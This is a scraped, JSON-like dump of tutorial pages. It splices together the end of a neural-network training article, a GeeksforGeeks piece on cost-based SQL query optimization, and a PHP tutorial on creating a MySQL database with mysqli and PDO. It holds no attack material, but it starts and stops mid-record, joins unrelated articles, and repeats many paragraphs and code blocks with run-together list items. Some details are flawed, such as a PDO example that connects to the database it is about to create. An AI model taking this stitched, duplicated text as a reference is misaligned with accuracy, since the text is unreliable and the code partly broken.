open('model.pickle', 'wb') as f: pickle.dump(model, f)" }, { "code": null, "e": 19243, "s": 19092, "text": "So how well does the network do? We’ve trained it with the training data x_train and y_train. But we’ve set aside data for testing: x_test and y_test." }, { "code": null, "e": 19570, "s": 19243, "text": "It’s always a good idea to leave some data alone just for testing. That’s data that the network has never seen in training. Therefore we’re guaranteed that the performance estimate will be fair. Something like 20% is a good size for the test data to set aside (assuming you have plenty of data — thousands of samples or more)." }, { "code": null, "e": 19679, "s": 19570, "text": "The evaluation only goes through the test data and calculates cost and accuracy, and prints out the results." }, { "code": null, "e": 20243, "s": 19679, "text": "# testprint('################### testing ####################')# load the modelif os.path.isfile('model.pickle'): with open('model.pickle', 'rb') as f: model = pickle.load(f)# run the whole test datasamples = x_test.shape[0]cost = 0hit_count = 0for i in tqdm(range(samples)): m_state = forward_pass(x_test[i]) cost += part_cost(m_state['o3'], y_test[i]) if np.argmax(m_state['o3']) == np.argmax(y_test[i]): hit_count += 1# evaluate performancecost = cost / samplesaccuracy = hit_count / samplesprint('cost:', cost, 'accuracy:', accuracy)" }, { "code": null, "e": 20444, "s": 20243, "text": "Because we don’t use bias for our neurons, the performance of the network will be rather modest: about 60% accuracy. It could definitely do better. But this is a learning example, not production code." }, { "code": null, "e": 20533, "s": 20444, "text": "This is the network performance in training, notice how it gets better with every epoch:" }, { "code": null, "e": 20713, "s": 20533, "text": "See below the performance in testing. It’s actually a bit better than in training, which is not typical, but the behavior of the training algorithm is a bit random to some extent." }, { "code": null, "e": 20780, "s": 20713, "text": "Here’s a Jupyter notebook with the full code used in this article:" }, { "code": null, "e": 20847, "s": 20780, "text": "https://github.com/FlorinAndrei/misc/blob/master/nn_backprop.ipynb" }, { "code": null, "e": 21100, "s": 20847, "text": "It downloads the MNIST_784 dataset, which is a bunch of images with hand-written numbers, about 70,000 images total. It uses functions from the Tensorflow libraries to prepare the training/testing split (which is totally overkill, but very convenient)." }, { "code": null, "e": 21193, "s": 21100, "text": "It trains and tests the network. As a bonus, it generates a few images used in this article." }, { "code": null, "e": 21261, "s": 21193, "text": "All images and all code were created by the author of this article." }, { "code": null, "e": 21434, "s": 21261, "text": "I took the machine learning class by Andrew Ng on Coursera several years ago, and it’s very useful if you want to understand the mathematical intricacies of this algorithm." }, { "code": null, "e": 21451, "s": 21434, "text": "www.coursera.org" } ]
Cost Based optimization - GeeksforGeeks
07 Jun, 2021 Query optimization is the process of choosing the most efficient or the most favorable type of executing an SQL statement. Query optimization is an art of science for applying rules to rewrite the tree of operators that is invoked in a query and to produce an optimal plan. A plan is said to be optimal if it returns the answer in the least time or by using the least space. Cost-Based Optimization:For a given query and environment, the Optimizer allocates a cost in numerical form which is related to each step of a possible plan and then finds these values together to get a cost estimate for the plan or for the possible strategy. After calculating the costs of all possible plans, the Optimizer tries to choose a plan which will have the possible lowest cost estimate. For that reason, the Optimizer may be sometimes referred to as the Cost-Based Optimizer. Below are some of the features of the cost-based optimization- The cost-based optimization is based on the cost of the query that to be optimized. The query can use a lot of paths based on the value of indexes, available sorting methods, constraints, etc. The aim of query optimization is to choose the most efficient path of implementing the query at the possible lowest minimum cost in the form of an algorithm. The cost of executing the algorithm needs to be provided by the query Optimizer so that the most suitable query can be selected for an operation. The cost of an algorithm also depends upon the cardinality of the input. The cost-based optimization is based on the cost of the query that to be optimized. The query can use a lot of paths based on the value of indexes, available sorting methods, constraints, etc. The aim of query optimization is to choose the most efficient path of implementing the query at the possible lowest minimum cost in the form of an algorithm. The cost of executing the algorithm needs to be provided by the query Optimizer so that the most suitable query can be selected for an operation. The cost of an algorithm also depends upon the cardinality of the input. Cost Estimation:To estimate the cost of different available execution plans or the execution strategies the query tree is viewed and studied as a data structure that contains a series of basic operation which are linked in order to perform the query. The cost of the operations that are present in the query depends on the way in which the operation is selected such that, the proportion of select operation that forms the output. It is also important to know the expected cardinality of an operation output. The cardinality of the output is very important because it forms the input to the next operation. The cost of optimization of the query depends upon the following- Cardinality- Cardinality is known to be the number of rows that are returned by performing the operations specified by the query execution plan. The estimates of the cardinality must be correct as it highly affects all the possibilities of the execution plan.Selectivity- Selectivity refers to the number of rows that are selected. The selectivity of any row from the table or any table from the database almost depends upon the condition. The satisfaction of the condition takes us to the selectivity of that specific row. The condition that is to be satisfied can be any, depending upon the situation.Cost- Cost refers to the amount of money spent on the system to optimize the system. The measure of cost fully depends upon the work done or the number of resources used. Cardinality- Cardinality is known to be the number of rows that are returned by performing the operations specified by the query execution plan. The estimates of the cardinality must be correct as it highly affects all the possibilities of the execution plan. Selectivity- Selectivity refers to the number of rows that are selected. The selectivity of any row from the table or any table from the database almost depends upon the condition. The satisfaction of the condition takes us to the selectivity of that specific row. The condition that is to be satisfied can be any, depending upon the situation. Cost- Cost refers to the amount of money spent on the system to optimize the system. The measure of cost fully depends upon the work done or the number of resources used. The first step is to use ANALYZE TABLE COMPUTE STATISTICS SQL command to compute table statistics. Use DESCRIBE EXTENDED SQL command to inspect the statistics. Table Statistics:The table statistics can be computed for tables, partitions, and columns and are as follows- Total size (in bytes) of a table or table partitions.Row count of a table or table partitions.Column statistics like min, max, num_nulls, distinct_count, avg_col_len, max_col_len, histogram. Total size (in bytes) of a table or table partitions. Row count of a table or table partitions. Column statistics like min, max, num_nulls, distinct_count, avg_col_len, max_col_len, histogram. ANALYZE TABLE COMPUTE STATISTICS SQL Command:Cost-Based Optimization uses the statistics stored in a meta store i.e. external catalog using ANALYZE TABLE SQL command- ANALYZE TABLE tableIdentifier partitionSpec; COMPUTE STATISTICS (NOSCAN | FOR COLUMNS identifierSeq); Depending on the variant, ANALYZE TABLE computes different statistics, i.e. of a table, partitions, or columns- ANALYZE TABLE with neither PARTITION specification nor FOR COLUMNS clause. ANALYZE TABLE with PARTITION specification (but no FOR COLUMNS clause). ANALYZE TABLE with FOR COLUMNS clause (but no PARTITION specification). DESCRIBE EXTENDED SQL Command:The statistics of a table can be viewed, partitions, or a column (stored in a meta store) using DESCRIBE EXTENDED SQL command- (DESC | DESCRIBE) TABLE? (EXTENDED | FORMATTED); tableIdentifier partitionSpec? describeColName; Cost Components Of Query Execution:The following are the cost components of the execution of a query- Access cost to secondary storage- This can be the cost of searching, reading, or writing data blocks that originally found on the secondary storage, especially on the disk. The cost of searching for records in a file also depends upon the type of access structure that file has.Memory usage cost- The cost of memory usage can be calculated simply by using the number of memory buffers that are needed for the execution of the query.Storage cost- The storage cost is the cost of storing any intermediate files(files that are the result of processing the input but are not exactly the result) that are generated by the execution strategy for the query.Computational cost-This is the cost of performing the memory operations that are available on the record within the data buffers. Operations like searching for records, merging records, or sorting records. This can also be called the CPU cost.Communication cost- This is the cost that is associated with sending or communicating the query and its results from one place to another. It also includes the cost of transferring the table and results to the various sites during the process of query evaluation. Access cost to secondary storage- This can be the cost of searching, reading, or writing data blocks that originally found on the secondary storage, especially on the disk. The cost of searching for records in a file also depends upon the type of access structure that file has. Memory usage cost- The cost of memory usage can be calculated simply by using the number of memory buffers that are needed for the execution of the query. Storage cost- The storage cost is the cost of storing any intermediate files(files that are the result of processing the input but are not exactly the result) that are generated by the execution strategy for the query. Computational cost-This is the cost of performing the memory operations that are available on the record within the data buffers. Operations like searching for records, merging records, or sorting records. This can also be called the CPU cost. Communication cost- This is the cost that is associated with sending or communicating the query and its results from one place to another. It also includes the cost of transferring the table and results to the various sites during the process of query evaluation. Issues In Cost-Based Optimization:The following are the issues in cost-based optimization- In cost-based optimization, the number of execution strategies that can be considered is not really fixed. The number of execution strategies may vary based on the situation.Sometimes, this process is really very time-consuming to cost because it does not always guarantee finding the best optimal strategyIt is an expensive process. In cost-based optimization, the number of execution strategies that can be considered is not really fixed. The number of execution strategies may vary based on the situation. Sometimes, this process is really very time-consuming to cost because it does not always guarantee finding the best optimal strategy It is an expensive process. Software Engineering Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Software Engineering | Integration Testing System Testing Software Engineering | Black box testing Difference between Unit Testing and Integration Testing Software Engineering | Software Quality Assurance What is DFD(Data Flow Diagram)? Object Oriented Analysis and Design Difference between IAAS, PAAS and SAAS Use Case Diagram for Library Management System Non-functional Requirements in Software Engineering
[ { "code": null, "e": 26261, "s": 26233, "text": "\n07 Jun, 2021" }, { "code": null, "e": 26637, "s": 26261, "text": "Query optimization is the process of choosing the most efficient or the most favorable type of executing an SQL statement. Query optimization is an art of science for applying rules to rewrite the tree of operators that is invoked in a query and to produce an optimal plan. A plan is said to be optimal if it returns the answer in the least time or by using the least space. " }, { "code": null, "e": 27188, "s": 26637, "text": "Cost-Based Optimization:For a given query and environment, the Optimizer allocates a cost in numerical form which is related to each step of a possible plan and then finds these values together to get a cost estimate for the plan or for the possible strategy. After calculating the costs of all possible plans, the Optimizer tries to choose a plan which will have the possible lowest cost estimate. For that reason, the Optimizer may be sometimes referred to as the Cost-Based Optimizer. Below are some of the features of the cost-based optimization-" }, { "code": null, "e": 27759, "s": 27188, "text": "The cost-based optimization is based on the cost of the query that to be optimized. The query can use a lot of paths based on the value of indexes, available sorting methods, constraints, etc. The aim of query optimization is to choose the most efficient path of implementing the query at the possible lowest minimum cost in the form of an algorithm. The cost of executing the algorithm needs to be provided by the query Optimizer so that the most suitable query can be selected for an operation. The cost of an algorithm also depends upon the cardinality of the input. " }, { "code": null, "e": 27844, "s": 27759, "text": "The cost-based optimization is based on the cost of the query that to be optimized. " }, { "code": null, "e": 27954, "s": 27844, "text": "The query can use a lot of paths based on the value of indexes, available sorting methods, constraints, etc. " }, { "code": null, "e": 28113, "s": 27954, "text": "The aim of query optimization is to choose the most efficient path of implementing the query at the possible lowest minimum cost in the form of an algorithm. " }, { "code": null, "e": 28260, "s": 28113, "text": "The cost of executing the algorithm needs to be provided by the query Optimizer so that the most suitable query can be selected for an operation. " }, { "code": null, "e": 28334, "s": 28260, "text": "The cost of an algorithm also depends upon the cardinality of the input. " }, { "code": null, "e": 29007, "s": 28334, "text": "Cost Estimation:To estimate the cost of different available execution plans or the execution strategies the query tree is viewed and studied as a data structure that contains a series of basic operation which are linked in order to perform the query. The cost of the operations that are present in the query depends on the way in which the operation is selected such that, the proportion of select operation that forms the output. It is also important to know the expected cardinality of an operation output. The cardinality of the output is very important because it forms the input to the next operation. The cost of optimization of the query depends upon the following-" }, { "code": null, "e": 29781, "s": 29007, "text": "Cardinality- Cardinality is known to be the number of rows that are returned by performing the operations specified by the query execution plan. The estimates of the cardinality must be correct as it highly affects all the possibilities of the execution plan.Selectivity- Selectivity refers to the number of rows that are selected. The selectivity of any row from the table or any table from the database almost depends upon the condition. The satisfaction of the condition takes us to the selectivity of that specific row. The condition that is to be satisfied can be any, depending upon the situation.Cost- Cost refers to the amount of money spent on the system to optimize the system. The measure of cost fully depends upon the work done or the number of resources used." }, { "code": null, "e": 30041, "s": 29781, "text": "Cardinality- Cardinality is known to be the number of rows that are returned by performing the operations specified by the query execution plan. The estimates of the cardinality must be correct as it highly affects all the possibilities of the execution plan." }, { "code": null, "e": 30386, "s": 30041, "text": "Selectivity- Selectivity refers to the number of rows that are selected. The selectivity of any row from the table or any table from the database almost depends upon the condition. The satisfaction of the condition takes us to the selectivity of that specific row. The condition that is to be satisfied can be any, depending upon the situation." }, { "code": null, "e": 30557, "s": 30386, "text": "Cost- Cost refers to the amount of money spent on the system to optimize the system. The measure of cost fully depends upon the work done or the number of resources used." }, { "code": null, "e": 30717, "s": 30557, "text": "The first step is to use ANALYZE TABLE COMPUTE STATISTICS SQL command to compute table statistics. Use DESCRIBE EXTENDED SQL command to inspect the statistics." }, { "code": null, "e": 30827, "s": 30717, "text": "Table Statistics:The table statistics can be computed for tables, partitions, and columns and are as follows-" }, { "code": null, "e": 31018, "s": 30827, "text": "Total size (in bytes) of a table or table partitions.Row count of a table or table partitions.Column statistics like min, max, num_nulls, distinct_count, avg_col_len, max_col_len, histogram." }, { "code": null, "e": 31072, "s": 31018, "text": "Total size (in bytes) of a table or table partitions." }, { "code": null, "e": 31114, "s": 31072, "text": "Row count of a table or table partitions." }, { "code": null, "e": 31211, "s": 31114, "text": "Column statistics like min, max, num_nulls, distinct_count, avg_col_len, max_col_len, histogram." }, { "code": null, "e": 31378, "s": 31211, "text": "ANALYZE TABLE COMPUTE STATISTICS SQL Command:Cost-Based Optimization uses the statistics stored in a meta store i.e. external catalog using ANALYZE TABLE SQL command-" }, { "code": null, "e": 31480, "s": 31378, "text": "ANALYZE TABLE tableIdentifier partitionSpec;\nCOMPUTE STATISTICS (NOSCAN | FOR COLUMNS identifierSeq);" }, { "code": null, "e": 31592, "s": 31480, "text": "Depending on the variant, ANALYZE TABLE computes different statistics, i.e. of a table, partitions, or columns-" }, { "code": null, "e": 31667, "s": 31592, "text": "ANALYZE TABLE with neither PARTITION specification nor FOR COLUMNS clause." }, { "code": null, "e": 31739, "s": 31667, "text": "ANALYZE TABLE with PARTITION specification (but no FOR COLUMNS clause)." }, { "code": null, "e": 31811, "s": 31739, "text": "ANALYZE TABLE with FOR COLUMNS clause (but no PARTITION specification)." }, { "code": null, "e": 31968, "s": 31811, "text": "DESCRIBE EXTENDED SQL Command:The statistics of a table can be viewed, partitions, or a column (stored in a meta store) using DESCRIBE EXTENDED SQL command-" }, { "code": null, "e": 32065, "s": 31968, "text": "(DESC | DESCRIBE) TABLE? (EXTENDED | FORMATTED);\ntableIdentifier partitionSpec? describeColName;" }, { "code": null, "e": 32167, "s": 32065, "text": "Cost Components Of Query Execution:The following are the cost components of the execution of a query-" }, { "code": null, "e": 33324, "s": 32167, "text": "Access cost to secondary storage- This can be the cost of searching, reading, or writing data blocks that originally found on the secondary storage, especially on the disk. The cost of searching for records in a file also depends upon the type of access structure that file has.Memory usage cost- The cost of memory usage can be calculated simply by using the number of memory buffers that are needed for the execution of the query.Storage cost- The storage cost is the cost of storing any intermediate files(files that are the result of processing the input but are not exactly the result) that are generated by the execution strategy for the query.Computational cost-This is the cost of performing the memory operations that are available on the record within the data buffers. Operations like searching for records, merging records, or sorting records. This can also be called the CPU cost.Communication cost- This is the cost that is associated with sending or communicating the query and its results from one place to another. It also includes the cost of transferring the table and results to the various sites during the process of query evaluation." }, { "code": null, "e": 33603, "s": 33324, "text": "Access cost to secondary storage- This can be the cost of searching, reading, or writing data blocks that originally found on the secondary storage, especially on the disk. The cost of searching for records in a file also depends upon the type of access structure that file has." }, { "code": null, "e": 33758, "s": 33603, "text": "Memory usage cost- The cost of memory usage can be calculated simply by using the number of memory buffers that are needed for the execution of the query." }, { "code": null, "e": 33977, "s": 33758, "text": "Storage cost- The storage cost is the cost of storing any intermediate files(files that are the result of processing the input but are not exactly the result) that are generated by the execution strategy for the query." }, { "code": null, "e": 34221, "s": 33977, "text": "Computational cost-This is the cost of performing the memory operations that are available on the record within the data buffers. Operations like searching for records, merging records, or sorting records. This can also be called the CPU cost." }, { "code": null, "e": 34485, "s": 34221, "text": "Communication cost- This is the cost that is associated with sending or communicating the query and its results from one place to another. It also includes the cost of transferring the table and results to the various sites during the process of query evaluation." }, { "code": null, "e": 34576, "s": 34485, "text": "Issues In Cost-Based Optimization:The following are the issues in cost-based optimization-" }, { "code": null, "e": 34910, "s": 34576, "text": "In cost-based optimization, the number of execution strategies that can be considered is not really fixed. The number of execution strategies may vary based on the situation.Sometimes, this process is really very time-consuming to cost because it does not always guarantee finding the best optimal strategyIt is an expensive process." }, { "code": null, "e": 35085, "s": 34910, "text": "In cost-based optimization, the number of execution strategies that can be considered is not really fixed. The number of execution strategies may vary based on the situation." }, { "code": null, "e": 35218, "s": 35085, "text": "Sometimes, this process is really very time-consuming to cost because it does not always guarantee finding the best optimal strategy" }, { "code": null, "e": 35246, "s": 35218, "text": "It is an expensive process." }, { "code": null, "e": 35267, "s": 35246, "text": "Software Engineering" }, { "code": null, "e": 35365, "s": 35267, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 35408, "s": 35365, "text": "Software Engineering | Integration Testing" }, { "code": null, "e": 35423, "s": 35408, "text": "System Testing" }, { "code": null, "e": 35464, "s": 35423, "text": "Software Engineering | Black box testing" }, { "code": null, "e": 35520, "s": 35464, "text": "Difference between Unit Testing and Integration Testing" }, { "code": null, "e": 35570, "s": 35520, "text": "Software Engineering | Software Quality Assurance" }, { "code": null, "e": 35602, "s": 35570, "text": "What is DFD(Data Flow Diagram)?" }, { "code": null, "e": 35638, "s": 35602, "text": "Object Oriented Analysis and Design" }, { "code": null, "e": 35677, "s": 35638, "text": "Difference between IAAS, PAAS and SAAS" }, { "code": null, "e": 35724, "s": 35677, "text": "Use Case Diagram for Library Management System" } ]
PHP | MySQL ( Creating Database ) - GeeksforGeeks
21 Mar, 2018 What is a database?Database is a collection of inter-related data which helps in efficient retrieval, insertion and deletion of data from database and organizes the data in the form of tables, views, schemas, reports etc. For Example, university database organizes the data about students, faculty, and admin staff etc. which helps in efficient retrieval, insertion and deletion of data from it. We know that in MySQL to create a database we need to execute a query. You may refer to this article for the SQL query to create data-bases. The basic steps to create MySQL database using PHP are: Establish a connection to MySQL server from your PHP script as described in this article. If the connection is successful, write a SQL query to create a database and store it in a string variable. Execute the query. We have already learnt about establish a connection and creating variables in PHP. We can execute the query from our PHP script in 3 different ways as described below: Using MySQLi Object-oriented procedure: If the MySQL connection is established using Object-oriented procedure then we can use the query() function of mysqli class to execute our query as described in the below syntax.Syntax:<?php $servername = "localhost"; $username = "username"; $password = "password"; // Creating a connection $conn = new mysqli($servername, $username, $password); // Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } // Creating a database named newDB $sql = "CREATE DATABASE newDB"; if ($conn->query($sql) === TRUE) { echo "Database created successfully with the name newDB"; } else { echo "Error creating database: " . $conn->error; } // closing connection $conn->close(); ?> Note:Specify the three arguments servername, username and password to the mysqli object whenever creating a database.Output:Using MySQLi Procedural procedure: If the MySQL connection is established using procedural procedure then we can use the mysqli_query() function of PHP to execute our query as described in the below syntax.Syntax:<?php $servername = "localhost"; $username = "username"; $password = "password"; // Creating connection $conn = mysqli_connect($servername, $username, $password); // Checking connection if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } // Creating a database named newDB $sql = "CREATE DATABASE newDB"; if (mysqli_query($conn, $sql)) { echo "Database created successfully with the name newDB"; } else { echo "Error creating database: " . mysqli_error($conn); } // closing connection mysqli_close($conn); ?> Output:Using PDO procedure: If the MySQL connection is established using PDO procedure then we can execute our query as described in the below syntax.Syntax:<?php $servername = "localhost"; $username = "username"; $password = "password"; try { $conn = new PDO("mysql:host=$servername;dbname=newDB", $username, $password); // setting the PDO error mode to exception $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $sql = "CREATE DATABASE newDB"; // using exec() because no results are returned $conn->exec($sql); echo "Database created successfully with the name newDB"; } catch(PDOException $e) { echo $sql . "" . $e->getMessage(); } $conn = null; ?> Note:The exception class in PDO is used to handle any problems that may occur in our database queries. If an exception is thrown within the try{ } block, the script stops executing and flows directly to the first catch(){ } block.Output:My Personal Notes arrow_drop_upSave Using MySQLi Object-oriented procedure: If the MySQL connection is established using Object-oriented procedure then we can use the query() function of mysqli class to execute our query as described in the below syntax.Syntax:<?php $servername = "localhost"; $username = "username"; $password = "password"; // Creating a connection $conn = new mysqli($servername, $username, $password); // Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } // Creating a database named newDB $sql = "CREATE DATABASE newDB"; if ($conn->query($sql) === TRUE) { echo "Database created successfully with the name newDB"; } else { echo "Error creating database: " . $conn->error; } // closing connection $conn->close(); ?> Note:Specify the three arguments servername, username and password to the mysqli object whenever creating a database.Output: Syntax: <?php $servername = "localhost"; $username = "username"; $password = "password"; // Creating a connection $conn = new mysqli($servername, $username, $password); // Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } // Creating a database named newDB $sql = "CREATE DATABASE newDB"; if ($conn->query($sql) === TRUE) { echo "Database created successfully with the name newDB"; } else { echo "Error creating database: " . $conn->error; } // closing connection $conn->close(); ?> Note:Specify the three arguments servername, username and password to the mysqli object whenever creating a database. Output: Using MySQLi Procedural procedure: If the MySQL connection is established using procedural procedure then we can use the mysqli_query() function of PHP to execute our query as described in the below syntax.Syntax:<?php $servername = "localhost"; $username = "username"; $password = "password"; // Creating connection $conn = mysqli_connect($servername, $username, $password); // Checking connection if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } // Creating a database named newDB $sql = "CREATE DATABASE newDB"; if (mysqli_query($conn, $sql)) { echo "Database created successfully with the name newDB"; } else { echo "Error creating database: " . mysqli_error($conn); } // closing connection mysqli_close($conn); ?> Output: Syntax: <?php $servername = "localhost"; $username = "username"; $password = "password"; // Creating connection $conn = mysqli_connect($servername, $username, $password); // Checking connection if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } // Creating a database named newDB $sql = "CREATE DATABASE newDB"; if (mysqli_query($conn, $sql)) { echo "Database created successfully with the name newDB"; } else { echo "Error creating database: " . mysqli_error($conn); } // closing connection mysqli_close($conn); ?> Output: Using PDO procedure: If the MySQL connection is established using PDO procedure then we can execute our query as described in the below syntax.Syntax:<?php $servername = "localhost"; $username = "username"; $password = "password"; try { $conn = new PDO("mysql:host=$servername;dbname=newDB", $username, $password); // setting the PDO error mode to exception $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $sql = "CREATE DATABASE newDB"; // using exec() because no results are returned $conn->exec($sql); echo "Database created successfully with the name newDB"; } catch(PDOException $e) { echo $sql . "" . $e->getMessage(); } $conn = null; ?> Note:The exception class in PDO is used to handle any problems that may occur in our database queries. If an exception is thrown within the try{ } block, the script stops executing and flows directly to the first catch(){ } block.Output:My Personal Notes arrow_drop_upSave Syntax: <?php $servername = "localhost"; $username = "username"; $password = "password"; try { $conn = new PDO("mysql:host=$servername;dbname=newDB", $username, $password); // setting the PDO error mode to exception $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $sql = "CREATE DATABASE newDB"; // using exec() because no results are returned $conn->exec($sql); echo "Database created successfully with the name newDB"; } catch(PDOException $e) { echo $sql . "" . $e->getMessage(); } $conn = null; ?> Note:The exception class in PDO is used to handle any problems that may occur in our database queries. If an exception is thrown within the try{ } block, the script stops executing and flows directly to the first catch(){ } block. Output: mysql PHP SQL Technical Scripter Web Technologies SQL PHP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Insert Form Data into Database using PHP ? How to convert array to string in PHP ? How to Upload Image into Database and Display it using PHP ? How to check whether an array is empty using PHP? PHP | Converting string to Date and DateTime SQL | WITH clause SQL | DDL, DQL, DML, DCL and TCL Commands How to find Nth highest salary from a table SQL | ALTER (RENAME) SQL Trigger | Student Database
[ { "code": null, "e": 24442, "s": 24414, "text": "\n21 Mar, 2018" }, { "code": null, "e": 24838, "s": 24442, "text": "What is a database?Database is a collection of inter-related data which helps in efficient retrieval, insertion and deletion of data from database and organizes the data in the form of tables, views, schemas, reports etc. For Example, university database organizes the data about students, faculty, and admin staff etc. which helps in efficient retrieval, insertion and deletion of data from it." }, { "code": null, "e": 24979, "s": 24838, "text": "We know that in MySQL to create a database we need to execute a query. You may refer to this article for the SQL query to create data-bases." }, { "code": null, "e": 25035, "s": 24979, "text": "The basic steps to create MySQL database using PHP are:" }, { "code": null, "e": 25125, "s": 25035, "text": "Establish a connection to MySQL server from your PHP script as described in this article." }, { "code": null, "e": 25232, "s": 25125, "text": "If the connection is successful, write a SQL query to create a database and store it in a string variable." }, { "code": null, "e": 25251, "s": 25232, "text": "Execute the query." }, { "code": null, "e": 25419, "s": 25251, "text": "We have already learnt about establish a connection and creating variables in PHP. We can execute the query from our PHP script in 3 different ways as described below:" }, { "code": null, "e": 28045, "s": 25419, "text": "Using MySQLi Object-oriented procedure: If the MySQL connection is established using Object-oriented procedure then we can use the query() function of mysqli class to execute our query as described in the below syntax.Syntax:<?php\n$servername = \"localhost\";\n$username = \"username\";\n$password = \"password\";\n\n// Creating a connection\n$conn = new mysqli($servername, $username, $password);\n// Check connection\nif ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n} \n// Creating a database named newDB\n$sql = \"CREATE DATABASE newDB\";\nif ($conn->query($sql) === TRUE) {\n echo \"Database created successfully with the name newDB\";\n} else {\n echo \"Error creating database: \" . $conn->error;\n}\n\n// closing connection\n$conn->close();\n?>\nNote:Specify the three arguments servername, username and password to the mysqli object whenever creating a database.Output:Using MySQLi Procedural procedure: If the MySQL connection is established using procedural procedure then we can use the mysqli_query() function of PHP to execute our query as described in the below syntax.Syntax:<?php\n$servername = \"localhost\";\n$username = \"username\";\n$password = \"password\";\n\n// Creating connection\n$conn = mysqli_connect($servername, $username, $password);\n// Checking connection\nif (!$conn) {\n die(\"Connection failed: \" . mysqli_connect_error());\n}\n\n// Creating a database named newDB\n$sql = \"CREATE DATABASE newDB\";\nif (mysqli_query($conn, $sql)) {\n echo \"Database created successfully with the name newDB\";\n} else {\n echo \"Error creating database: \" . mysqli_error($conn);\n}\n\n// closing connection\nmysqli_close($conn);\n?>\nOutput:Using PDO procedure: If the MySQL connection is established using PDO procedure then we can execute our query as described in the below syntax.Syntax:<?php\n$servername = \"localhost\";\n$username = \"username\";\n$password = \"password\";\n\ntry {\n $conn = new PDO(\"mysql:host=$servername;dbname=newDB\", $username, $password);\n // setting the PDO error mode to exception\n $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n $sql = \"CREATE DATABASE newDB\";\n // using exec() because no results are returned\n $conn->exec($sql);\n echo \"Database created successfully with the name newDB\";\n }\ncatch(PDOException $e)\n {\n echo $sql . \"\" . $e->getMessage();\n }\n$conn = null;\n?>\nNote:The exception class in PDO is used to handle any problems that may occur in our database queries. If an exception is thrown within the try{ } block, the script stops executing and flows directly to the first catch(){ } block.Output:My Personal Notes\narrow_drop_upSave" }, { "code": null, "e": 28933, "s": 28045, "text": "Using MySQLi Object-oriented procedure: If the MySQL connection is established using Object-oriented procedure then we can use the query() function of mysqli class to execute our query as described in the below syntax.Syntax:<?php\n$servername = \"localhost\";\n$username = \"username\";\n$password = \"password\";\n\n// Creating a connection\n$conn = new mysqli($servername, $username, $password);\n// Check connection\nif ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n} \n// Creating a database named newDB\n$sql = \"CREATE DATABASE newDB\";\nif ($conn->query($sql) === TRUE) {\n echo \"Database created successfully with the name newDB\";\n} else {\n echo \"Error creating database: \" . $conn->error;\n}\n\n// closing connection\n$conn->close();\n?>\nNote:Specify the three arguments servername, username and password to the mysqli object whenever creating a database.Output:" }, { "code": null, "e": 28941, "s": 28933, "text": "Syntax:" }, { "code": null, "e": 29480, "s": 28941, "text": "<?php\n$servername = \"localhost\";\n$username = \"username\";\n$password = \"password\";\n\n// Creating a connection\n$conn = new mysqli($servername, $username, $password);\n// Check connection\nif ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n} \n// Creating a database named newDB\n$sql = \"CREATE DATABASE newDB\";\nif ($conn->query($sql) === TRUE) {\n echo \"Database created successfully with the name newDB\";\n} else {\n echo \"Error creating database: \" . $conn->error;\n}\n\n// closing connection\n$conn->close();\n?>\n" }, { "code": null, "e": 29598, "s": 29480, "text": "Note:Specify the three arguments servername, username and password to the mysqli object whenever creating a database." }, { "code": null, "e": 29606, "s": 29598, "text": "Output:" }, { "code": null, "e": 30368, "s": 29606, "text": "Using MySQLi Procedural procedure: If the MySQL connection is established using procedural procedure then we can use the mysqli_query() function of PHP to execute our query as described in the below syntax.Syntax:<?php\n$servername = \"localhost\";\n$username = \"username\";\n$password = \"password\";\n\n// Creating connection\n$conn = mysqli_connect($servername, $username, $password);\n// Checking connection\nif (!$conn) {\n die(\"Connection failed: \" . mysqli_connect_error());\n}\n\n// Creating a database named newDB\n$sql = \"CREATE DATABASE newDB\";\nif (mysqli_query($conn, $sql)) {\n echo \"Database created successfully with the name newDB\";\n} else {\n echo \"Error creating database: \" . mysqli_error($conn);\n}\n\n// closing connection\nmysqli_close($conn);\n?>\nOutput:" }, { "code": null, "e": 30376, "s": 30368, "text": "Syntax:" }, { "code": null, "e": 30918, "s": 30376, "text": "<?php\n$servername = \"localhost\";\n$username = \"username\";\n$password = \"password\";\n\n// Creating connection\n$conn = mysqli_connect($servername, $username, $password);\n// Checking connection\nif (!$conn) {\n die(\"Connection failed: \" . mysqli_connect_error());\n}\n\n// Creating a database named newDB\n$sql = \"CREATE DATABASE newDB\";\nif (mysqli_query($conn, $sql)) {\n echo \"Database created successfully with the name newDB\";\n} else {\n echo \"Error creating database: \" . mysqli_error($conn);\n}\n\n// closing connection\nmysqli_close($conn);\n?>\n" }, { "code": null, "e": 30926, "s": 30918, "text": "Output:" }, { "code": null, "e": 31904, "s": 30926, "text": "Using PDO procedure: If the MySQL connection is established using PDO procedure then we can execute our query as described in the below syntax.Syntax:<?php\n$servername = \"localhost\";\n$username = \"username\";\n$password = \"password\";\n\ntry {\n $conn = new PDO(\"mysql:host=$servername;dbname=newDB\", $username, $password);\n // setting the PDO error mode to exception\n $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n $sql = \"CREATE DATABASE newDB\";\n // using exec() because no results are returned\n $conn->exec($sql);\n echo \"Database created successfully with the name newDB\";\n }\ncatch(PDOException $e)\n {\n echo $sql . \"\" . $e->getMessage();\n }\n$conn = null;\n?>\nNote:The exception class in PDO is used to handle any problems that may occur in our database queries. If an exception is thrown within the try{ } block, the script stops executing and flows directly to the first catch(){ } block.Output:My Personal Notes\narrow_drop_upSave" }, { "code": null, "e": 31912, "s": 31904, "text": "Syntax:" }, { "code": null, "e": 32468, "s": 31912, "text": 